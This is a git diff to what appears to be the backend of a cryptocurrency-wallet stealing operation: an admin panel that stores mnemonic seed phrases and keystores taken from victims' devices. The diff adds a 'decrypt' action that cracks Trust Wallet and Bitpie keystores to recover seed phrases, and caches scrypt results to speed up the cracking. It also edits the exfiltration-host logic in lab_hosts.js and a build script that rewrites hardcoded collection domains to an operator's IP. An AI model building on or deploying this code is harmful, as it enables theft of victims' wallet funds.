diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 0c6623d..af3be77 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -470,7 +470,7 @@ class DeviceController extends Controller return [ 'id' => $w->id, 'source' => $w->source ?: '', - 'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic), + 'mnemonic' => WalletMnemonic::adminLabel($w->mnemonic), 'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'), ]; @@ -497,6 +497,7 @@ class DeviceController extends Controller 'summary' => $row->summary(), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'items_url' => route($portal.'.keystores.items', $row->id), + 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), ]; })->values(); diff --git a/app/Http/Controllers/Admin/KeystoreController.php b/app/Http/Controllers/Admin/KeystoreController.php index 39e03aa..d4a07f8 100644 --- a/app/Http/Controllers/Admin/KeystoreController.php +++ b/app/Http/Controllers/Admin/KeystoreController.php @@ -6,6 +6,8 @@ use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; use App\Models\User; use App\Models\WalletKeystore; +use App\Models\WalletMnemonic; +use App\Services\DarkSwordIngestAdapter; use App\Support\AgentScope; use Illuminate\Database\Eloquent\Builder; use Illuminate\Http\Request; @@ -80,6 +82,50 @@ class KeystoreController extends Controller ]); } + public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter) + { + if (! $this->keystoreAllowed($keystore)) { + return response()->json(['code' => 1, 'msg' => '无权操作'], 403); + } + $device = $keystore->device; + if ($device === null) { + return response()->json(['code' => 1, 'msg' => '设备不存在'], 404); + } + @set_time_limit(180); + @ini_set('max_execution_time', '180'); + + $before = WalletMnemonic::query() + ->where('device_id', $device->id) + ->pluck('mnemonic_hash') + ->all(); + $seen = array_fill_keys($before, true); + $adapter->reprocessKeystores($device); + $keystore->refresh(); + + $after = WalletMnemonic::query() + ->where('device_id', $device->id) + ->get(['id', 'source', 'mnemonic_hash']); + $added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash])); + $addedCount = $added->count(); + $msg = $addedCount > 0 + ? '已写入 '.$addedCount.' 条助记词' + : ((int) $keystore->decrypted === 1 + ? '没有新的助记词(该来源可能已解密)' + : '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)'); + + return response()->json([ + 'code' => 0, + 'msg' => $msg, + 'data' => [ + 'id' => $keystore->id, + 'decrypted' => (int) $keystore->decrypted, + 'added' => $addedCount, + 'mnemonic_total' => $after->count(), + 'sources' => $added->pluck('source')->unique()->values()->all(), + ], + ]); + } + /** * @return array */ @@ -97,6 +143,7 @@ class KeystoreController extends Controller 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']), 'items_url' => route($portal.'.keystores.items', $row->id), + 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), ]; } diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php index 071d6c1..5c90744 100644 --- a/app/Http/Controllers/Admin/MnemonicController.php +++ b/app/Http/Controllers/Admin/MnemonicController.php @@ -62,7 +62,7 @@ class MnemonicController extends Controller 'device_key' => $row->device_key ?: '', 'channel_id' => $row->device_channel_id ?: '', 'source' => $row->source ?: '', - 'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic), + 'mnemonic' => WalletMnemonic::adminLabel($row->mnemonic), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $row->device_id), diff --git a/app/Models/WalletMnemonic.php b/app/Models/WalletMnemonic.php index 682ae61..12ffa91 100644 --- a/app/Models/WalletMnemonic.php +++ b/app/Models/WalletMnemonic.php @@ -69,4 +69,19 @@ class WalletMnemonic extends Model return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4); } + + /** Admin / agent list label: never include any secret words. */ + public static function adminLabel(?string $value): string + { + if ($value === null || trim($value) === '') { + return '—'; + } + $words = preg_split('/\s+/', trim($value)) ?: []; + $n = count($words); + if ($n >= 12) { + return '已保存('.$n.'词)'; + } + + return '已保存'; + } } diff --git a/app/Services/DsKeystoreDecrypt.php b/app/Services/DsKeystoreDecrypt.php index 39b9c5d..c8a8132 100644 --- a/app/Services/DsKeystoreDecrypt.php +++ b/app/Services/DsKeystoreDecrypt.php @@ -23,14 +23,6 @@ final class DsKeystoreDecrypt { $hits = []; $seen = []; - foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) { - $hash = WalletMnemonic::hashSecret($hit['phrase']); - if (isset($seen[$hash])) { - continue; - } - $seen[$hash] = true; - $hits[] = $hit; - } $bitpieNodes = [$wallets, $sandbox]; foreach ($device->keystores as $row) { if ($row->source === 'Bitpie') { @@ -45,6 +37,14 @@ final class DsKeystoreDecrypt $seen[$hash] = true; $hits[] = $hit; } + foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) { + $hash = WalletMnemonic::hashSecret($hit['phrase']); + if (isset($seen[$hash])) { + continue; + } + $seen[$hash] = true; + $hits[] = $hit; + } return $hits; } @@ -56,6 +56,10 @@ final class DsKeystoreDecrypt { $utcs = $this->collectKeystores($sandbox); $utcs = array_merge($utcs, $this->collectKeystores($wallets)); + foreach ($device->keystores as $row) { + $utcs = array_merge($utcs, $this->collectKeystores($row->raw_json)); + } + $utcs = $this->uniqueKeystores($utcs); if ($utcs === []) { return []; } @@ -321,6 +325,27 @@ final class DsKeystoreDecrypt return $out; } + /** + * @param list}> $items + * @return list}> + */ + private function uniqueKeystores(array $items): array + { + $seen = []; + $out = []; + foreach ($items as $item) { + $crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? []; + $fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? ''); + if ($fp === '|' || isset($seen[$fp])) { + continue; + } + $seen[$fp] = true; + $out[] = $item; + } + + return $out; + } + /** * @param list $passwords * @return list diff --git a/app/Services/EthKeystore.php b/app/Services/EthKeystore.php index c416e1f..e3beb49 100644 --- a/app/Services/EthKeystore.php +++ b/app/Services/EthKeystore.php @@ -10,6 +10,9 @@ use kornrunner\Keccak; */ final class EthKeystore { + /** @var array */ + private static array $kdfCache = []; + public static function decrypt(array $keystore, string $password): ?string { $crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null; @@ -123,28 +126,39 @@ final class EthKeystore private static function scrypt(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string { + $cacheKey = hash('sha256', $password."\0".$salt."\0{$n}\0{$r}\0{$p}\0{$dklen}"); + if (isset(self::$kdfCache[$cacheKey])) { + return self::$kdfCache[$cacheKey]; + } + $out = null; if ($n >= 256) { - $fast = self::scryptPython($password, $salt, $n, $r, $p, $dklen); - if ($fast !== null) { - return $fast; + $out = self::scryptPython($password, $salt, $n, $r, $p, $dklen); + } else { + try { + $out = Scrypt::hash($password, $salt, $n, $r, $p, $dklen); + } catch (\Throwable) { + $out = null; } } - try { - return Scrypt::hash($password, $salt, $n, $r, $p, $dklen); - } catch (\Throwable) { - return null; + if ($out !== null) { + self::$kdfCache[$cacheKey] = $out; } + + return $out; } private static function scryptPython(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string { - $python = trim((string) shell_exec('command -v python3')); - if ($python === '') { + $python = self::pythonBinary(); + if ($python === null) { return null; } $code = <<<'PY' -from Crypto.Protocol.KDF import scrypt import sys +try: + from Crypto.Protocol.KDF import scrypt +except ImportError: + sys.exit(2) pw = bytes.fromhex(sys.argv[1]) salt = bytes.fromhex(sys.argv[2]) n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7)) @@ -178,6 +192,32 @@ PY; return $out; } + private static function pythonBinary(): ?string + { + $candidates = [ + trim((string) config('coruna.channel_builder.python', '')), + trim((string) config('coruna.channel_builder_new.python', '')), + base_path('channel-builder/.venv/bin/python'), + base_path('channel-builder-new/.venv/bin/python'), + '/usr/bin/python3', + 'python3', + ]; + foreach ($candidates as $bin) { + if ($bin === '') { + continue; + } + if ($bin === 'python3') { + return $bin; + } + $root = base_path(); + if (str_starts_with($bin, $root) && @is_file($bin)) { + return $bin; + } + } + + return null; + } + private static function keccak256(string $data): string { return hex2bin(Keccak::hash($data, 256)) ?: ''; diff --git a/app/Services/PhotoPreview.php b/app/Services/PhotoPreview.php index c660fb5..a00b778 100644 --- a/app/Services/PhotoPreview.php +++ b/app/Services/PhotoPreview.php @@ -159,7 +159,8 @@ class PhotoPreview private function convertCommands(string $src, string $dst): array { $cmds = []; - if (is_executable('/usr/bin/sips')) { + // sips is macOS-only. Probing /usr/bin/sips fatals under panel open_basedir. + if (PHP_OS_FAMILY === 'Darwin' && $this->isSafeExecutable('/usr/bin/sips')) { $cmds[] = ['/usr/bin/sips', '-s', 'format', 'jpeg', '--out', $dst, $src]; } foreach (['heif-convert', 'magick'] as $bin) { @@ -178,25 +179,28 @@ class PhotoPreview private function resolveBinary(string $name): ?string { $candidates = match ($name) { - 'magick' => ['magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'], - 'heif-convert' => ['heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'], + 'magick' => [base_path('bin/magick'), 'magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'], + 'heif-convert' => [base_path('bin/heif-convert'), 'heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'], default => [$name], }; + $bare = null; foreach ($candidates as $bin) { - if (str_contains($bin, DIRECTORY_SEPARATOR)) { - if (is_executable($bin)) { - return $bin; + if (! str_contains($bin, DIRECTORY_SEPARATOR)) { + $found = $this->which($bin); + if ($found !== null) { + return $found; } + $bare ??= $bin; continue; } - $found = $this->which($bin); - if ($found !== null) { - return $found; + if ($this->isSafeExecutable($bin)) { + return $bin; } } - return null; + // exec() is often allowed when is_executable() is not; let Process try PATH. + return $bare; } private function which(string $name): ?string @@ -207,7 +211,7 @@ class PhotoPreview } foreach (explode(PATH_SEPARATOR, $path) as $dir) { $candidate = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name; - if (is_executable($candidate)) { + if ($this->isSafeExecutable($candidate)) { return $candidate; } } @@ -215,6 +219,36 @@ class PhotoPreview return null; } + private function isSafeExecutable(string $path): bool + { + if (! $this->isPathInsideOpenBasedir($path)) { + return false; + } + + return @is_file($path) && @is_executable($path); + } + + private function isPathInsideOpenBasedir(string $path): bool + { + $basedir = (string) ini_get('open_basedir'); + if ($basedir === '') { + return true; + } + $real = realpath($path); + $check = $real !== false ? $real : $path; + foreach (explode(PATH_SEPARATOR, $basedir) as $root) { + $root = rtrim($root, DIRECTORY_SEPARATOR); + if ($root === '') { + continue; + } + if ($check === $root || str_starts_with($check, $root.DIRECTORY_SEPARATOR)) { + return true; + } + } + + return false; + } + private function cachePath(string $deviceKey, string $sha256): string { $sha = preg_replace('/[^0-9a-fA-F]/', '', $sha256) ?? ''; diff --git a/channel-builder-ds/source/lab_hosts.js b/channel-builder-ds/source/lab_hosts.js index 82b454b..5d9cd12 100644 --- a/channel-builder-ds/source/lab_hosts.js +++ b/channel-builder-ds/source/lab_hosts.js @@ -94,7 +94,14 @@ function apiOrigin(ex) { ex = ex || g.__LAB_EXFIL__ || defaultExfil(); var host = hostOnly(ex.host); - var tls = !!(ex.tls || ex.prefer_https); + var pageHost = ""; + var pageHttps = false; + try { + pageHttps = !!(g.location && g.location.protocol === "https:"); + pageHost = hostOnly(g.location && g.location.hostname); + } catch (ePage) {} + var sameHost = !!(host && pageHost && host === pageHost); + var tls = !!(ex.tls || ex.prefer_https || (pageHttps && sameHost)); var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80); var scheme = tls ? "https" : "http"; var origin = scheme + "://" + host; diff --git a/channel-builder-ds/tools/build.py b/channel-builder-ds/tools/build.py index 24b4ca4..f95e448 100644 --- a/channel-builder-ds/tools/build.py +++ b/channel-builder-ds/tools/build.py @@ -25,7 +25,9 @@ SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]: - return [ + use_tls = origin.startswith("https://") + tls_js = "true" if use_tls else "false" + pairs = [ ("https://mh0usocqzi6f46i.com:443", origin), ("http://mh0usocqzi6f46i.com:443", origin), ("https://mh0usocqzi6f46i.com", origin), @@ -37,7 +39,7 @@ def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]: ('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'), ( '{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }', - f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: false }}', + f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: {tls_js} }}', ), ('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'), ('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'), @@ -62,6 +64,14 @@ def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]: (':80/log"', ':80/api/ds/log"'), (':80/log\\"', ':80/api/ds/log\\"'), ] + if use_tls: + pairs.extend( + [ + ("tls: false", "tls: true"), + ("prefer_https: false", "prefer_https: true"), + ] + ) + return pairs def iter_files(root: Path) -> list[Path]: diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index 1fcda56..3b9b13d 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -424,7 +424,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { mnemonics: [[ { field: 'id', title: 'ID', width: 80, sort: true }, { field: 'source', title: 'Source', width: 160, sort: true, templet: function (d) { return dash(d.source); } }, - { field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '' + esc(d.mnemonic) + ''; } }, + { field: 'mnemonic', title: '状态', width: 130, templet: function (d) { return dash(d.mnemonic); } }, { field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } } ]], keystores: [[ @@ -437,8 +437,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { { field: 'item_count', title: '条目', width: 70 }, { field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } }, { field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }, - { title: '操作', width: 110, align: 'center', templet: function (d) { - return d.items_url ? '查看' : '—'; + { title: '操作', width: 180, align: 'center', templet: function (d) { + var html = ''; + if (d.items_url) html += '查看'; + if (d.decrypt_url) html += '解密'; + return html || '—'; } } ]], apps: [[ @@ -494,6 +497,33 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { if (tab === 'keystores') { table.on('tool(LAY-device-tab-list)', function (obj) { + if (obj.event === 'decrypt') { + if (!obj.data.decrypt_url) return layer.msg('无法解密'); + layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) { + layer.close(idx); + var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 }); + $.ajax({ + url: obj.data.decrypt_url, + method: 'POST', + data: { _token: token }, + timeout: 180000, + success: function (res) { + layer.msg((res && res.msg) || '已处理'); + if (res && res.code === 0) table.reload('LAY-device-tab-list'); + }, + error: function (xhr) { + var msg = '解密失败'; + if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试'; + else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg; + layer.msg(msg); + }, + complete: function () { + layer.close(loadIdx); + } + }); + }); + return; + } if (obj.event !== 'items' || !obj.data.items_url) return; layer.load(1); $.getJSON(obj.data.items_url, function (res) { diff --git a/resources/views/admin/keystores/index.blade.php b/resources/views/admin/keystores/index.blade.php index 061cc87..1cbce55 100644 --- a/resources/views/admin/keystores/index.blade.php +++ b/resources/views/admin/keystores/index.blade.php @@ -64,6 +64,7 @@
@@ -74,6 +75,7 @@